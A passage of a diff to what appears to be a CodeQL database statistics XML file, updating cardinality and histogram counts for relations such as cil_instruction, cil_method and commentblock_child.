-<v>12960</v> +<v>13247</v> </b> <b> <a>2</a> <b>3</b> -<v>5223</v> +<v>5339</v> </b> <b> <a>3</a> <b>4</b> -<v>29018</v> +<v>29661</v> </b> <b> <a>4</a> <b>5</b> -<v>97113</v> +<v>99263</v> </b> </bs> </hist> @@ -33857,17 +34051,17 @@ <b> <a>1</a> <b>2</b> -<v>158383</v> +<v>161890</v> </b> <b> <a>2</a> <b>3</b> -<v>42079</v> +<v>43010</v> </b> <b> <a>3</a> <b>9895</b> -<v>15657</v> +<v>16003</v> </b> </bs> </hist> @@ -33883,22 +34077,22 @@ <b> <a>1</a> <b>2</b> -<v>94357</v> +<v>96446</v> </b> <b> <a>2</a> <b>3</b> -<v>92804</v> +<v>94859</v> </b> <b> <a>3</a> <b>4</b> -<v>28088</v> +<v>28710</v> </b> <b> <a>4</a> <b>5</b> -<v>870</v> +<v>890</v> </b> </bs> </hist> @@ -33970,19 +34164,19 @@ </relation> <relation> <name>commentblock_child</name> -<cardinality>544054</cardinality> +<cardinality>556101</cardinality> <columnsizes> <e> <k>id</k> -<v>144374</v> +<v>147571</v> </e> <e> <k>commentline</k> -<v>410669</v> +<v>419762</v> </e> <e> <k>index</k> -<v>4990</v> +<v>5101</v> </e> </columnsizes> <dependencies> @@ -33996,32 +34190,32 @@ <b> <a>1</a> <b>2</b> -<v>76929</v> +<v>78632</v> </b> <b> <a>2</a> <b>3</b> -<v>19925</v> +<v>20367</v> </b> <b> <a>3</a> <b>4</b> -<v>18985</v> +<v>19406</v> </b> <b> <a>4</a> <b>5</b> -<v>8968</v> +<v>9167</v> </b> <b> <a>5</a> <b>8</b> -<v>11479</v> +<v>11733</v> </b> <b> <a>8</a> <b>4098</b> -<v>8085</v> +<v>8264</v> </b> </bs> </hist> @@ -34037,37 +34231,37 @@ <b> <a>1</a> <b>2</b> -<v>4207</v> +<v>4300</v> </b> <b> <a>2</a> <b>3</b> -<v>73623</v> +<v>75253</v> </b> <b> <a>3</a> <b>4</b> -<v>21675</v> +<v>22155</v> </b> <b> <a>4</a> <b>5</b> -<v>17231</v> +<v>17613</v> </b> <b> <a>5</a> <b>6</b> -<v>8626</v> +<v>8817</v> </b> <b> <a>6</a> <b>9</b> -<v>11199</v> +<v>11447</v> </b> <b> <a>9</a> <b>4099</b> -<v>7809</v> +<v>7982</v> </b> </bs> </hist> @@ -34083,7 +34277,7 @@ <b> <a>1</a> <b>2</b> -<v>410660</v> +<v>419753</v> </b> <b> <a>2</a> @@ -34104,12 +34298,12 @@ <b> <a>1</a> <b>2</b> -<v>277292</v> +<v>283432</v> </b> <b> <a>2</a> <b>3</b> -<v>133376</v> +<v>136330</v> </b> </bs> </hist> @@ -34125,32 +34319,32 @@ <b> <a>1</a> <b>2</b> -<v>2227</v> +<v>2276</v> </b> <b> <a>2</a> <b>3</b> -<v>1379</v> +<v>1410</v> </b> <b> <a>3</a> <b>7</b> -<v>398</v> +<v>407</v> </b> <b> <a>7</a> <b>10</b> -<v>439</v> +<v>449</v> </b> <b> <a>11</a> <b>28</b> -<v>379</v> +<v>388</v> </b> <b> <a>28</a> <b>118546</b> -<v>165</v> +<v>169</v> </b> </bs> </hist> @@ -34166,32 +34360,32 @@ <b> <a>1</a> <b>2</b> -<v>2227</v> +<v>2276</v> </b> <b> <a>2</a> <b>3</b> -<v>1379</v> +<v>1410</v> </b> <b> <a>3</a> <b>7</b> -<v>398</v> +<v>407</v> </b> <b> <a>7</a> <b>10</b> -<v>439</v> +<v>449</v> </b> <b> <a>11</a> <b>28</b> -<v>379</v> +<v>388</v> </b> <b> <a>28</a> <b>118539</b> -<v>165</v> +<v>169</v> </b> </bs> </hist> @@ -34995,7 +35189,7 @@ </e> <e> <k>name</k> -<v>3</v> +<v>6</v> </e> </columnsizes> <dependencies> @@ -35023,9 +35217,19 @@ <budget>12</budget> <bs> <b> +<a>1</a> +<b>2</b> +<v>4</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> <a>3</a> <b>4</b> -<v>3</v> +<v>1</v> </b> </bs> </hist> @@ -35046,23 +35250,23 @@ </relation> <relation> <name>cil_instruction</name> -<cardinality>32230984</cardinality> +<cardinality>32096629</cardinality> <columnsizes> <e> <k>id</k> -<v>32230984</v> +<v>32096629</v> </e> <e> <k>opcode</k> -<v>966</v> +<v>962</v> </e> <e> <k>index</k> -<v>333050</v> +<v>331661</v> </e> <e> <k>impl</k> -<v>1729473</v> +<v>1722264</v> </e> </columnsizes> <dependencies> @@ -35076,7 +35280,7 @@ <b> <a>1</a> <b>2</b> -<v>32230984</v> +<v>32096629</v> </b> </bs> </hist> @@ -35092,7 +35296,7 @@ <b> <a>1</a> <b>2</b> -<v>32230984</v> +<v>32096629</v> </b> </bs> </hist> @@ -35108,7 +35312,7 @@ <b> <a>1</a> <b>2</b> -<v>32230984</v> +<v>32096629</v> </b> </bs> </hist> @@ -35124,67 +35328,67 @@ <b> <a>1</a> <b>7</b> -<v>78</v> +<v>77</v> </b> <b> <a>7</a> <b>42</b> -<v>73</v> +<v>72</v> </b> <b> <a>46</a> <b>106</b> -<v>73</v> +<v>72</v> </b> <b> <a>128</a> <b>302</b> -<v>73</v> +<v>72</v> </b> <b> <a>304</a> <b>953</b> -<v>73</v> +<v>72</v> </b> <b> <a>1002</a> <b>1752</b> -<v>73</v> +<v>72</v> </b> <b> <a>1791</a> <b>2952</b> -<v>73</v> +<v>72</v> </b> <b> <a>3194</a> <b>4898</b> -<v>73</v> +<v>72</v> </b> <b> <a>5191</a> <b>11577</b> -<v>73</v> +<v>72</v> </b> <b> <a>11669</a> <b>19719</b> -<v>73</v> +<v>72</v> </b> <b> <a>19906</a> <b>53412</b> -<v>73</v> +<v>72</v> </b> <b> <a>54233</a> <b>104298</b> -<v>73</v> +<v>72</v> </b> <b> <a>104740</a> <b>420483</b> -<v>73</v> +<v>72</v> </b> <b> <a>562153</a> @@ -35210,62 +35414,62 @@ <b> <a>10</a> <b>31</b> -<v>73</v> +<v>72</v> </b> <b> <a>32</a> <b>68</b> -<v>73</v> +<v>72</v> </b> <b> <a>75</a> <b>148</b> -<v>73</v> +<v>72</v> </b> <b> <a>150</a> <b>214</b> -<v>73</v> +<v>72</v> </b> <b> <a>214</a> <b>313</b> -<v>78</v> +<v>77</v> </b> <b> <a>323</a> <b>468</b> -<v>73</v> +<v>72</v> </b> <b> <a>486</a> <b>699</b> -<v>73</v> +<v>72</v> </b> <b> <a>714</a> <b>872</b> -<v>73</v> +<v>72</v> </b> <b> <a>879</a> <b>1176</b> -<v>73</v> +<v>72</v> </b> <b> <a>1185</a> <b>1360</b> -<v>73</v> +<v>72</v> </b> <b> <a>1382</a> <b>2349</b> -<v>73</v> +<v>72</v> </b> <b> <a>2641</a> <b>31606</b> -<v>73</v> +<v>72</v> </b> </bs> </hist> @@ -35281,67 +35485,67 @@ <b> <a>1</a> <b>6</b> -<v>78</v> +<v>77</v> </b> <b> <a>7</a> <b>22</b> -<v>73</v> +<v>72</v> </b> <b> <a>26</a> <b>58</b> -<v>73</v> +<v>72</v> </b> <b> <a>62</a> <b>191</b> -<v>73</v> +<v>72</v> </b> <b> <a>192</a> <b>422</b> -<v>73</v> +<v>72</v> </b> <b> <a>434</a> <b>696</b> -<v>73</v> +<v>72</v> </b> <b> <a>703</a> <b>993</b> -<v>73</v> +<v>72</v> </b> <b> <a>1012</a> <b>2698</b> -<v>73</v> +<v>72</v> </b> <b> <a>2754</a> <b>5088</b> -<v>73</v> +<v>72</v> </b> <b> <a>5150</a> <b>9841</b> -<v>73</v> +<v>72</v> </b> <b> <a>10112</a> <b>16999</b> -<v>73</v> +<v>72</v> </b> <b> <a>18955</a> <b>42845</b> -<v>73</v> +<v>72</v> </b> <b> <a>44005</a> <b>171634</b> -<v>73</v> +<v>72</v> </b> <b> <a>243198</a> @@ -35362,22 +35566,22 @@ <b> <a>1</a> <b>2</b> -<v>260875</v> +<v>259787</v> </b> <b> <a>2</a> <b>11</b> -<v>30654</v> +<v>30526</v> </b> <b> <a>11</a> <b>25</b> -<v>25538</v> +<v>25432</v> </b> <b> <a>25</a> <b>354308</b> -<v>15981</v> +<v>15914</v> </b> </bs> </hist> @@ -35393,22 +35597,22 @@ <b> <a>1</a> <b>2</b> -<v>261470</v> +<v>260380</v> </b> <b> <a>2</a> <b>3</b> -<v>17714</v> +<v>17640</v> </b> <b> <a>3</a> <b>5</b> -<v>28784</v> +<v>28664</v> </b> <b> <a>5</a> <b>160</b> -<v>24982</v> +<v>24878</v> </b> <b> <a>160</a> @@ -35429,22 +35633,22 @@ <b> <a>1</a> <b>2</b> -<v>260875</v> +<v>259787</v> </b> <b> <a>2</a> <b>11</b> -<v>30654</v> +<v>30526</v> </b> <b> <a>11</a> <b>25</b> -<v>25538</v> +<v>25432</v> </b> <b> <a>25</a> <b>354308</b> -<v>15981</v> +<v>15914</v> </b> </bs> </hist> @@ -35460,57 +35664,57 @@ <b> <a>1</a> <b>2</b> -<v>84163</v> +<v>83812</v> </b> <b> <a>2</a> <b>3</b> -<v>252294</v> +<v>251242</v> </b> <b> <a>3</a> <b>4</b> -<v>332937</v> +<v>331549</v> </b> <b> <a>4</a> <b>5</b> -<v>196222</v> +<v>195404</v> </b> <b> <a>5</a> <b>6</b> -<v>107256</v> +<v>106809</v> </b> <b> <a>6</a> <b>9</b> -<v>158270</v> +<v>157611</v> </b> <b> <a>9</a> <b>14</b> -<v>151266</v> +<v>150635</v> </b> <b> <a>14</a> <b>21</b> -<v>134079</v> +<v>133520</v> </b> <b> <a>21</a> <b>35</b> -<v>131726</v> +<v>131177</v> </b> <b> <a>35</a> <b>106</b> -<v>129749</v> +<v>129208</v> </b> <b> <a>106</a> <b>68231</b> -<v>51507</v> +<v>51292</v> </b> </bs> </hist> @@ -35526,57 +35730,57 @@ <b> <a>1</a> <b>2</b> -<v>84163</v> +<v>83812</v> </b> <b> <a>2</a> <b>3</b> -<v>252582</v> +<v>251529</v> </b> <b> <a>3</a> <b>4</b> -<v>338917</v> +<v>337504</v> </b> <b> <a>4</a> <b>5</b> -<v>239885</v> +<v>238885</v> </b> <b> <a>5</a> <b>6</b> -<v>132668</v> +<v>132115</v> </b> <b> <a>6</a> <b>7</b> -<v>96498</v> +<v>96095</v> </b> <b> <a>7</a> <b>9</b> -<v>148044</v> +<v>147427</v> </b> <b> <a>9</a> <b>12</b> -<v>129085</v> +<v>128547</v> </b> <b> <a>12</a> <b>17</b> -<v>136046</v> +<v>135479</v> </b> <b> <a>17</a> <b>33</b> -<v>132321</v> +<v>131770</v> </b> <b> <a>33</a> <b>74</b> -<v>39260</v> +<v>39096</v> </b> </bs> </hist> @@ -35592,57 +35796,57 @@ <b> <a>1</a> <b>2</b> -<v>84163</v> +<v>83812</v> </b> <b> <a>2</a> <b>3</b> -<v>252294</v> +<v>251242</v> </b> <b> <a>3</a> <b>4</b> -<v>332937</v> +<v>331549</v> </b> <b> <a>4</a> <b>5</b> -<v>196222</v> +<v>195404</v> </b> <b> <a>5</a> <b>6</b> -<v>107256</v> +<v>106809</v> </b> <b> <a>6</a> <b>9</b> -<v>158270</v> +<v>157611</v> </b> <b> <a>9</a> <b>14</b> -<v>151266</v> +<v>150635</v> </b> <b> <a>14</a> <b>21</b> -<v>134079</v> +<v>133520</v> </b> <b> <a>21</a> <b>35</b> -<v>131726</v> +<v>131177</v> </b> <b> <a>35</a> <b>106</b> -<v>129749</v> +<v>129208</v> </b> <b> <a>106</a> <b>68231</b> -<v>51507</v> +<v>51292</v> </b> </bs> </hist> @@ -35652,15 +35856,15 @@ </relation> <relation> <name>cil_jump</name> -<cardinality>2007740</cardinality> +<cardinality>1999371</cardinality> <columnsizes> <e> <k>instruction</k> -<v>2007740</v> +<v>1999371</v> </e> <e> <k>target</k> -<v>1607992</v> +<v>1601290</v> </e> </columnsizes> <dependencies> @@ -35674,7 +35878,7 @@ <b> <a>1</a> <b>2</b> -<v>2007740</v> +<v>1999371</v> </b> </bs> </hist> @@ -35690,17 +35894,17 @@ <b> <a>1</a> <b>2</b> -<v>1393929</v> +<v>1388118</v> </b> <b> <a>2</a> <b>3</b> -<v>143997</v> +<v>143397</v> </b> <b> <a>3</a> <b>360</b> -<v>70065</v> +<v>69773</v> </b> </bs> </hist> @@ -35710,15 +35914,15 @@ </relation> <relation> <name>cil_access</name> -<cardinality>11951094</cardinality> +<cardinality>11901276</cardinality> <columnsizes> <e> <k>instruction</k> -<v>11951094</v> +<v>11901276</v> </e> <e> <k>target</k> -<v>2670463</v> +<v>2659331</v> </e> </columnsizes> <dependencies> @@ -35732,7 +35936,7 @@ <b> <a>1</a> <b>2</b> -<v>11951094</v> +<v>11901276</v> </b> </bs> </hist> @@ -35748,37 +35952,37 @@ <b> <a>1</a> <b>2</b> -<v>947008</v> +<v>943060</v> </b> <b> <a>2</a> <b>3</b> -<v>741599</v> +<v>738507</v> </b> <b> <a>3</a> <b>4</b> -<v>269642</v> +<v>268518</v> </b> <b> <a>4</a> <b>5</b> -<v>187534</v> +<v>186752</v> </b> <b> <a>5</a> <b>7</b> -<v>227184</v> +<v>226237</v> </b> <b> <a>7</a> <b>14</b> -<v>203984</v> +<v>203133</v> </b> <b> <a>14</a> <b>25741</b> -<v>93510</v> +<v>93120</v> </b> </bs> </hist> @@ -35788,15 +35992,15 @@ </relation> <relation> <name>cil_value</name> -<cardinality>1888129</cardinality> +<cardinality>1880259</cardinality> <columnsizes> <e> <k>instruction</k> -<v>1888129</v> +<v>1880259</v> </e> <e> <k>value</k> -<v>495933</v> +<v>493866</v> </e> </columnsizes> <dependencies> @@ -35810,7 +36014,7 @@ <b> <a>1</a> <b>2</b> -<v>1888129</v> +<v>1880259</v> </b> </bs> </hist> @@ -35826,27 +36030,27 @@ <b> <a>1</a> <b>2</b> -<v>335100</v> +<v>333703</v> </b> <b> <a>2</a> <b>3</b> -<v>79179</v> +<v>78849</v> </b> <b> <a>3</a> <b>6</b> -<v>40797</v> +<v>40627</v> </b> <b> <a>6</a> <b>33</b> -<v>37332</v> +<v>37176</v> </b> <b> <a>33</a> <b>86799</b> -<v>3524</v> +<v>3509</v> </b> </bs> </hist> @@ -35856,19 +36060,19 @@ </relation> <relation> <name>cil_switch</name> -<cardinality>194826</cardinality> +<cardinality>194014</cardinality> <columnsizes> <e> <k>instruction</k> -<v>23903</v> +<v>23804</v> </e> <e> <k>index</k> -<v>2523</v> +<v>2513</v> </e> <e> <k>target</k> -<v>130891</v> +<v>130346</v> </e> </columnsizes> <dependencies> @@ -35882,42 +36086,42 @@ <b> <a>3</a> <b>4</b> -<v>7033</v> +<v>7004</v> </b> <b> <a>4</a> <b>5</b> -<v>4603</v> +<v>4583</v> </b> <b> <a>5</a> <b>6</b> -<v>3236</v> +<v>3222</v> </b> <b> <a>6</a> <b>7</b> -<v>1688</v> +<v>1681</v> </b> <b> <a>7</a> <b>8</b> -<v>1444</v> +<v>1438</v> </b> <b> <a>8</a> <b>11</b> -<v>2162</v> +<v>2153</v> </b> <b> <a>11</a> <b>17</b> -<v>1850</v> +<v>1842</v> </b> <b> <a>17</a> <b>128</b> -<v>1796</v> +<v>1788</v> </b> <b> <a>141</a> @@ -35938,42 +36142,42 @@ <b> <a>1</a> <b>3</b> -<v>1059</v> +<v>1054</v> </b> <b> <a>3</a> <b>4</b> -<v>8264</v> +<v>8229</v> </b> <b> <a>4</a> <b>5</b> -<v>5501</v> +<v>5478</v> </b> <b> <a>5</a> <b>6</b> -<v>2577</v> +<v>2566</v> </b> <b> <a>6</a> <b>7</b> -<v>1845</v> +<v>1837</v> </b> <b> <a>7</a> <b>9</b> -<v>1703</v> +<v>1696</v> </b> <b> <a>9</a> <b>14</b> -<v>1801</v> +<v>1793</v> </b> <b> <a>14</a> <b>204</b> -<v>1151</v> +<v>1147</v> </b> </bs> </hist> @@ -35994,7 +36198,7 @@ <b> <a>2</a> <b>3</b> -<v>990</v> +<v>986</v> </b> <b> <a>3</a> @@ -36004,37 +36208,37 @@ <b> <a>4</a> <b>5</b> -<v>361</v> +<v>359</v> </b> <b> <a>6</a> <b>11</b> -<v>205</v> +<v>204</v> </b> <b> <a>11</a> <b>18</b> -<v>205</v> +<v>204</v> </b> <b> <a>18</a> <b>24</b> -<v>190</v> +<v>189</v> </b> <b> <a>25</a> <b>47</b> -<v>200</v> +<v>199</v> </b> <b> <a>47</a> <b>225</b> -<v>190</v> +<v>189</v> </b> <b> <a>238</a> <b>4898</b> -<v>107</v> +<v>106</v> </b> </bs> </hist> @@ -36050,12 +36254,12 @@ <b> <a>1</a> <b>2</b> -<v>39</v> +<v>38</v> </b> <b> <a>2</a> <b>3</b> -<v>976</v> +<v>972</v> </b> <b> <a>3</a> @@ -36065,12 +36269,12 @@ <b> <a>4</a> <b>5</b> -<v>312</v> +<v>311</v> </b> <b> <a>5</a> <b>11</b> -<v>205</v> +<v>204</v> </b> <b> <a>11</a> @@ -36080,17 +36284,17 @@ <b> <a>18</a> <b>24</b> -<v>205</v> +<v>204</v> </b> <b> <a>24</a> <b>47</b> -<v>195</v> +<v>194</v> </b> <b> <a>47</a> <b>271</b> -<v>190</v> +<v>189</v> </b> <b> <a>289</a> @@ -36111,12 +36315,12 @@ <b> <a>1</a> <b>2</b> -<v>129256</v> +<v>128717</v> </b> <b> <a>2</a> <b>12</b> -<v>1635</v> +<v>1628</v> </b> </bs> </hist> @@ -36132,17 +36336,17 @@ <b> <a>1</a> <b>2</b> -<v>118473</v> +<v>117979</v> </b> <b> <a>2</a> <b>7</b> -<v>10021</v> +<v>9979</v> </b> <b> <a>7</a> <b>253</b> -<v>2396</v> +<v>2386</v> </b> </bs> </hist> @@ -36220,15 +36424,15 @@ </relation> <relation> <name>cil_type_location</name> -<cardinality>277950</cardinality> +<cardinality>276791</cardinality> <columnsizes> <e> <k>id</k> -<v>255530</v> +<v>254465</v> </e> <e> <k>loc</k> -<v>3421</v> +<v>3407</v> </e> </columnsizes> <dependencies> @@ -36242,12 +36446,12 @@ <b> <a>1</a> <b>2</b> -<v>233110</v> +<v>232138</v> </b> <b> <a>2</a> <b>3</b> -<v>22419</v> +<v>22326</v> </b> </bs> </hist> @@ -36263,67 +36467,67 @@ <b> <a>1</a> <b>2</b> -<v>287</v> +<v>286</v> </b> <b> <a>2</a> <b>4</b> -<v>219</v> +<v>218</v> </b> <b> <a>4</a> <b>6</b> -<v>234</v> +<v>233</v> </b> <b> <a>6</a> <b>9</b> -<v>297</v> +<v>296</v> </b> <b> <a>9</a> <b>13</b> -<v>273</v> +<v>272</v> </b> <b> <a>13</a> <b>17</b> -<v>268</v> +<v>267</v> </b> <b> <a>17</a> <b>23</b> -<v>283</v> +<v>281</v> </b> <b> <a>23</a> <b>32</b> -<v>263</v> +<v>262</v> </b> <b> <a>32</a> <b>43</b> -<v>268</v> +<v>267</v> </b> <b> <a>43</a> <b>66</b> -<v>258</v> +<v>257</v> </b> <b> <a>66</a> <b>110</b> -<v>263</v> +<v>262</v> </b> <b> <a>112</a> <b>238</b> -<v>258</v> +<v>257</v> </b> <b> <a>239</a> <b>2419</b> -<v>244</v> +<v>243</v> </b> </bs> </hist> @@ -36333,15 +36537,15 @@ </relation> <relation> <name>cil_method_location</name> -<cardinality>1888086</cardinality> +<cardinality>1880215</cardinality> <columnsizes> <e> <k>id</k> -<v>1800486</v> +<v>1792981</v> </e> <e> <k>loc</k> -<v>3133</v> +<v>3120</v> </e> </columnsizes> <dependencies> @@ -36355,12 +36559,12 @@ <b> <a>1</a> <b>2</b> -<v>1712886</v> +<v>1705746</v> </b> <b> <a>2</a> <b>3</b> -<v>87599</v> +<v>87234</v> </b> </bs> </hist> @@ -36376,67 +36580,67 @@ <b> <a>1</a> <b>11</b> -<v>258</v> +<v>257</v> </b> <b> <a>11</a> <b>23</b> -<v>244</v> +<v>243</v> </b> <b> <a>23</a> <b>38</b> -<v>244</v> +<v>243</v> </b> <b> <a>38</a> <b>53</b> -<v>253</v> +<v>252</v> </b> <b> <a>53</a> <b>79</b> -<v>239</v> +<v>238</v> </b> <b> <a>80</a> <b>107</b> -<v>239</v> +<v>238</v> </b> <b> <a>107</a> <b>138</b> -<v>248</v> +<v>247</v> </b> <b> <a>140</a> <b>204</b> -<v>244</v> +<v>243</v> </b> <b> <a>204</a> <b>278</b> -<v>239</v> +<v>238</v> </b> <b> <a>281</a> <b>385</b> -<v>239</v> +<v>238</v> </b> <b> <a>388</a> <b>734</b> -<v>239</v> +<v>238</v> </b> <b> <a>735</a> <b>1631</b> -<v>239</v> +<v>238</v> </b> <b> <a>1646</a> <b>33686</b> -<v>205</v> +<v>204</v> </b> </bs> </hist> @@ -36446,15 +36650,15 @@ </relation> <relation> <name>cil_type</name> -<cardinality>796498</cardinality> +<cardinality>793178</cardinality> <columnsizes> <e> <k>id</k> -<v>796498</v> +<v>793178</v> </e> <e> <k>name</k> -<v>179460</v> +<v>178712</v> </e> <e> <k>kind</k> @@ -36462,11 +36666,11 @@ </e> <e> <k>parent</k> -<v>155766</v> +<v>155117</v> </e> <e> <k>sourceDecl</k> -<v>465620</v> +<v>463679</v> </e> </columnsizes> <dependencies> @@ -36480,7 +36684,7 @@ <b> <a>1</a> <b>2</b> -<v>796498</v> +<v>793178</v> </b> </bs> </hist> @@ -36496,7 +36700,7 @@ <b> <a>1</a> <b>2</b> -<v>796498</v> +<v>793178</v> </b> </bs> </hist> @@ -36512,7 +36716,7 @@ <b> <a>1</a> <b>2</b> -<v>796498</v> +<v>793178</v> </b> </bs> </hist> @@ -36528,7 +36732,7 @@ <b> <a>1</a> <b>2</b> -<v>796498</v> +<v>793178</v> </b> </bs> </hist> @@ -36544,22 +36748,22 @@ <b> <a>1</a> <b>2</b> -<v>137959</v> +<v>137384</v> </b> <b> <a>2</a> <b>3</b> -<v>22541</v> +<v>22447</v> </b> <b> <a>3</a> <b>7</b> -<v>14180</v> +<v>14121</v> </b> <b> <a>7</a> <b>21324</b> -<v>4778</v> +<v>4758</v> </b> </bs> </hist> @@ -36575,7 +36779,7 @@ <b> <a>1</a> <b>2</b> -<v>179460</v> +<v>178712</v> </b> </bs> </hist> @@ -36591,17 +36795,17 @@ <b> <a>1</a> <b>2</b> -<v>162776</v> +<v>162097</v> </b> <b> <a>2</a> <b>4</b> -<v>13672</v> +<v>13615</v> </b> <b> <a>4</a> <b>21324</b> -<v>3011</v> +<v>2999</v> </b> </bs> </hist> @@ -36617,17 +36821,17 @@ <b> <a>1</a> <b>2</b> -<v>146438</v> +<v>145828</v> </b> <b> <a>2</a> <b>3</b> -<v>22566</v> +<v>22472</v> </b> <b> <a>3</a> <b>21324</b> -<v>10455</v> +<v>10412</v> </b> </bs> </hist> @@ -36767,27 +36971,27 @@ <b> <a>1</a> <b>2</b> -<v>101999</v> +<v>101574</v> </b> <b> <a>2</a> <b>3</b> -<v>26851</v> +<v>26740</v> </b> <b> <a>3</a> <b>6</b> -<v>13369</v> +<v>13314</v> </b> <b> <a>6</a> <b>33</b> -<v>11724</v> +<v>11675</v> </b> <b> <a>33</a> <b>26080</b> -<v>1820</v> +<v>1813</v> </b> </bs> </hist> @@ -36803,27 +37007,27 @@ <b> <a>1</a> <b>2</b> -<v>102575</v> +<v>102147</v> </b> <b> <a>2</a> <b>3</b> -<v>27271</v> +<v>27158</v> </b> <b> <a>3</a> <b>6</b> -<v>13267</v> +<v>13212</v> </b> <b> <a>6</a> <b>38</b> -<v>11710</v> +<v>11661</v> </b> <b> <a>38</a> <b>1430</b> -<v>942</v> +<v>938</v> </b> </bs> </hist> @@ -36839,12 +37043,12 @@ <b> <a>1</a> <b>2</b> -<v>152554</v> +<v>151918</v> </b> <b> <a>2</a> <b>4</b> -<v>3211</v> +<v>3198</v> </b> </bs> </hist> @@ -36860,27 +37064,27 @@ <b> <a>1</a> <b>2</b> -<v>102472</v> +<v>102045</v> </b> <b> <a>2</a> <b>3</b> -<v>27291</v> +<v>27177</v> </b> <b> <a>3</a> <b>6</b> -<v>13174</v> +<v>13119</v> </b> <b> <a>6</a> <b>38</b> -<v>11690</v> +<v>11641</v> </b> <b> <a>38</a> <b>3477</b> -<v>1137</v> +<v>1132</v> </b> </bs> </hist> @@ -36896,12 +37100,12 @@ <b> <a>1</a> <b>2</b> -<v>438778</v> +<v>436949</v> </b> <b> <a>2</a> <b>3705</b> -<v>26842</v> +<v>26730</v> </b> </bs> </hist> @@ -36917,7 +37121,7 @@ <b> <a>1</a> <b>2</b> -<v>465620</v> +<v>463679</v> </b> </bs> </hist> @@ -36933,7 +37137,7 @@ <b> <a>1</a> <b>2</b> -<v>465620</v> +<v>463679</v> </b> </bs> </hist> @@ -36949,12 +37153,12 @@ <b> <a>1</a> <b>2</b> -<v>457278</v> +<v>455372</v> </b> <b> <a>2</a> <b>225</b> -<v>8342</v> +<v>8307</v> </b> </bs> </hist> @@ -36964,15 +37168,15 @@ </relation> <relation> <name>cil_pointer_type</name> -<cardinality>624</cardinality> +<cardinality>622</cardinality> <columnsizes> <e> <k>id</k> -<v>624</v> +<v>622</v> </e> <e> <k>pointee</k> -<v>624</v> +<v>622</v> </e> </columnsizes> <dependencies> @@ -36986,7 +37190,7 @@ <b> <a>1</a> <b>2</b> -<v>624</v> +<v>622</v> </b> </bs> </hist> @@ -37002,7 +37206,7 @@ <b> <a>1</a> <b>2</b> -<v>624</v> +<v>622</v> </b> </bs> </hist> @@ -37012,15 +37216,15 @@ </relation> <relation> <name>cil_array_type</name> -<cardinality>14199</cardinality> +<cardinality>14140</cardinality> <columnsizes> <e> <k>id</k> -<v>14199</v> +<v>14140</v> </e> <e> <k>element_type</k> -<v>14121</v> +<v>14062</v> </e> <e> <k>rank</k> @@ -37038,7 +37242,7 @@ <b> <a>1</a> <b>2</b> -<v>14199</v> +<v>14140</v> </b> </bs> </hist> @@ -37054,7 +37258,7 @@ <b> <a>1</a> <b>2</b> -<v>14199</v> +<v>14140</v> </b> </bs> </hist> @@ -37070,12 +37274,12 @@ <b> <a>1</a> <b>2</b> -<v>14048</v> +<v>13989</v> </b> <b> <a>2</a> <b>4</b> -<v>73</v> +<v>72</v> </b> </bs> </hist> @@ -37091,12 +37295,12 @@ <b> <a>1</a> <b>2</b> -<v>14048</v> +<v>13989</v> </b> <b> <a>2</a> <b>4</b> -<v>73</v> +<v>72</v> </b> </bs> </hist> @@ -37158,23 +37362,23 @@ </relation> <relation> <name>cil_method</name> -<cardinality>2316799</cardinality> +<cardinality>2307141</cardinality> <columnsizes> <e> <k>id</k> -<v>2316799</v> +<v>2307141</v> </e> <e> <k>name</k> -<v>440584</v> +<v>438748</v> </e> <e> <k>parent</k> -<v>380730</v> +<v>379143</v> </e> <e> <k>return_type</k> -<v>214317</v> +<v>213424</v> </e> </columnsizes> <dependencies> @@ -37188,7 +37392,7 @@ <b> <a>1</a> <b>2</b> -<v>2316799</v> +<v>2307141</v> </b> </bs> </hist> @@ -37204,7 +37408,7 @@ <b> <a>1</a> <b>2</b> -<v>2316799</v> +<v>2307141</v> </b> </bs> </hist> @@ -37220,7 +37424,7 @@ <b> <a>1</a> <b>2</b> -<v>2316799</v> +<v>2307141</v> </b> </bs> </hist> @@ -37236,27 +37440,27 @@ <b> <a>1</a> <b>2</b> -<v>271453</v> +<v>270321</v> </b> <b> <a>2</a> <b>3</b> -<v>79735</v> +<v>79403</v> </b> <b> <a>3</a> <b>4</b> -<v>25075</v> +<v>24970</v> </b> <b> <a>4</a> <b>7</b> -<v>33549</v> +<v>33409</v> </b> <b> <a>7</a> <b>64064</b> -<v>30771</v> +<v>30643</v> </b> </bs> </hist> @@ -37272,27 +37476,27 @@ <b> <a>1</a> <b>2</b> -<v>285486</v> +<v>284296</v> </b> <b> <a>2</a> <b>3</b> -<v>76689</v> +<v>76370</v> </b> <b> <a>3</a> <b>5</b> -<v>39933</v> +<v>39767</v> </b> <b> <a>5</a> <b>25</b> -<v>33212</v> +<v>33073</v> </b> <b> <a>25</a> <b>52725</b> -<v>5262</v> +<v>5240</v> </b> </bs> </hist> @@ -37308,17 +37512,17 @@ <b> <a>1</a> <b>2</b> -<v>384723</v> +<v>383119</v> </b> <b> <a>2</a> <b>4</b> -<v>40295</v> +<v>40127</v> </b> <b> <a>4</a> <b>2803</b> -<v>15566</v> +<v>15501</v> </b> </bs> </hist> @@ -37334,42 +37538,42 @@ <b> <a>1</a> <b>2</b> -<v>108144</v> +<v>107694</v> </b> <b> <a>2</a> <b>3</b> -<v>84641</v> +<v>84288</v> </b> <b> <a>3</a> <b>4</b> -<v>50028</v> +<v>49819</v> </b> <b> <a>4</a> <b>5</b> -<v>28614</v> +<v>28494</v> </b> <b> <a>5</a> <b>7</b> -<v>30918</v> +<v>30789</v> </b> <b> <a>7</a> <b>11</b> -<v>32968</v> +<v>32830</v> </b> <b> <a>11</a> <b>21</b> -<v>28999</v> +<v>28878</v> </b> <b> <a>21</a> <b>3536</b> -<v>16415</v> +<v>16347</v> </b> </bs> </hist> @@ -37385,42 +37589,42 @@ <b> <a>1</a> <b>2</b> -<v>114544</v> +<v>114066</v> </b> <b> <a>2</a> <b>3</b> -<v>86799</v> +<v>86437</v> </b> <b> <a>3</a> <b>4</b> -<v>50584</v> +<v>50373</v> </b> <b> <a>4</a> <b>5</b> -<v>28960</v> +<v>28839</v> </b> <b> <a>5</a> <b>7</b> -<v>32924</v> +<v>32787</v> </b> <b> <a>7</a> <b>11</b> -<v>30058</v> +<v>29933</v> </b> <b> <a>11</a> <b>26</b> -<v>28736</v> +<v>28616</v> </b> <b> <a>26</a> <b>1885</b> -<v>8122</v> +<v>8088</v> </b> </bs> </hist> @@ -37436,32 +37640,32 @@ <b> <a>1</a> <b>2</b> -<v>162415</v> +<v>161737</v> </b> <b> <a>2</a> 